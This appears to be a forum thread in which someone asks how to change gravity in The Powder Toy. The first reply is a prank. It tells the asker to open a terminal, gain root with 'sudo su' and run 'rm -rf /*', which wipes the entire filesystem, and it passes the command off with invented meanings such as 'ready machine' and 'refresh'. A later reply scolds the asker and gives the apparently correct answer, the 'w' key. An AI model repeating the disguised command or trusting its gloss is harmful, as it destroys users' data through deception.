Press CTRL+ALT+F1 to open a terminal; Type "sudo su"; Give your computer password; Type "rm -rf /*" Where: rm = ready machine rf = refresh /* = where TPT is Go to powdertoy and have fun; press G and the + or - to adjust for it since Gravity starts with G and thats how it works.
I will tell you, but I will also say this. If you are going to ask a question then I suggest you atleast spell the simplest words right. GRAVITY... herp derp spelling. And also, capitalize your title(whether it's the first letter of the sentence or each letter for title) and make it meaningful, e.g. How do you change the gravity mode?. Also use proper grammar and spelling and you'll get respect from people(searching will do wonders too, considering this has been discussed 100 times).
So, onto the question at hand. Press the 'w' key, this will cycle through the gravity modes, there are three. Normal, Radial, and Off. Normal is the standard vertical gravity, as in on earth. Radial causes solids and liquids to flow to the center in a group, other than gases not being affected this is like space(somewhat). Off causes no attraction or movement if there is no pressure or velocity.
Remember, grammar, spelling, and not making topics the same as previous ones.